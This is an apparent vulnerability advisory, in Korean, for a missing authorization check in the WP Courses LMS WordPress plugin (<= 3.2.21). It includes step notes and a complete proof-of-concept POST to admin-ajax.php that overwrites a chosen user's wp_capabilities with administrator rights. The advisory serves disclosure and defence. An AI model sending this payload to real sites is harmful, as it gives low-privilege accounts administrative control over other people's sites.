
WP Courses LMS – 온라인 강좌 빌더, e러닝 강좌, 강좌 솔루션, 교육 강좌 <= 3.2.21 - 인증된 (구독자 이상) 사용자에 대한 인증 누락으로 인한 임의 사용자 메타 업데이트
WP Courses LMS – 온라인 강좌 빌더, eLearning 코스, 강좌 솔루션, 교육 과정 <= 3.2.21 - 인증된 사용자(구독자 이상)의 임의 사용자 메타 업데이트에 대한 인증 누락
WP Courses LMS – 온라인 강좌 빌더, eLearning 코스, 강좌 솔루션, 교육 과정 WordPress 플러그인은 3.2.21 및 이전 모든 버전에서 wpc_update_user_meta_option() 함수에 기능 검사가 누락되어 인증되지 않은 접근에 취약합니다. 이로 인해 구독자 수준 이상의 인증된 공격자가 임의 사용자의 메타데이터를 업데이트할 수 있으며, wp_capabilities가 0으로 설정될 경우 관리자가 사이트에 접근하지 못하도록 차단할 수 있습니다.
참고: 로그인한 후 보안 none을 가져오고, 쿠키를 자신의 것으로 변경한 후에 문제를 일으키고자 하는 사용자의 ID를 변경하십시오.
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Cookie: wordpress_sec_738b26438442006baf5dc1367e0c0fd7=xxxxxx%7C1734564259%7CqjA3YsV7vjM7q3xj2PMjfPNu99lImJXyJ75qtYZpZ7Y%7Ce3a77e785ddd92cd3be1cf8c0eb8d553e5daef113144193bed0f02383200b15c; popup_time=2; alwaysStrip=1; _ga=GA1.2.1953252658.1732269795; _ga_16PD6PV48S=GS1.2.1732269795.1.0.1732270283.0.0.0; wordpress_test_cookie=WP%20Cookie%20check; tk_ai=woo%3AvR7YQZfotoLbsTF9AhmUVwUJ; PHPSESSID=bf585dabe58fb6cf2f5f52eb40caea09; sbjs_migrations=1418474375998%3D1; sbjs_current_add=fd%3D2024-12-16%2021%3A32%3A49%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2Fwpr%2Fmigrated-form%2F%7C%7C%7Crf%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2Fwp-admin%2Fedit.php%3Fpost_type%3Dwpr; sbjs_first_add=fd%3D2024-12-16%2021%3A32%3A49%7C%7C%7Cep%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2Fwpr%2Fmigrated-form%2F%7C%7C%7Crf%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2Fwp-admin%2Fedit.php%3Fpost_type%3Dwpr; sbjs_current=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_first=typ%3Dtypein%7C%7C%7Csrc%3D%28direct%29%7C%7C%7Cmdm%3D%28none%29%7C%7C%7Ccmp%3D%28none%29%7C%7C%7Ccnt%3D%28none%29%7C%7C%7Ctrm%3D%28none%29%7C%7C%7Cid%3D%28none%29%7C%7C%7Cplt%3D%28none%29%7C%7C%7Cfmt%3D%28none%29%7C%7C%7Ctct%3D%28none%29; sbjs_udata=vst%3D2%7C%7C%7Cuip%3D%28none%29%7C%7C%7Cuag%3DMozilla%2F5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010.15%3B%20rv%3A133.0%29%20Gecko%2F20100101%20Firefox%2F133.0; wp_lang=en_US; sbjs_session=pgs%3D38%7C%7C%7Ccpg%3Dhttps%3A%2F%2Fwp-dev.ddev.site%2F; tk_qs=; wordpress_logged_in_738b26438442006baf5dc1367e0c0fd7=xxxxxx%7C1734564259%7CqjA3YsV7vjM7q3xj2PMjfPNu99lImJXyJ75qtYZpZ7Y%7C8fbeacbf59bdbe9d5dd58f11d538be09210c86d5742b92993b6c2827ec0a53bb
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://wp-dev.ddev.site/wp-login.php?loggedout=true&wp_lang=en_US
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
security=91f7dcda05&action=wpc_update_user_meta&user_id=7&meta_key=wp_capabilities&meta_value=a%3a1%3a{s%3a13%3a"administrator";b:1;}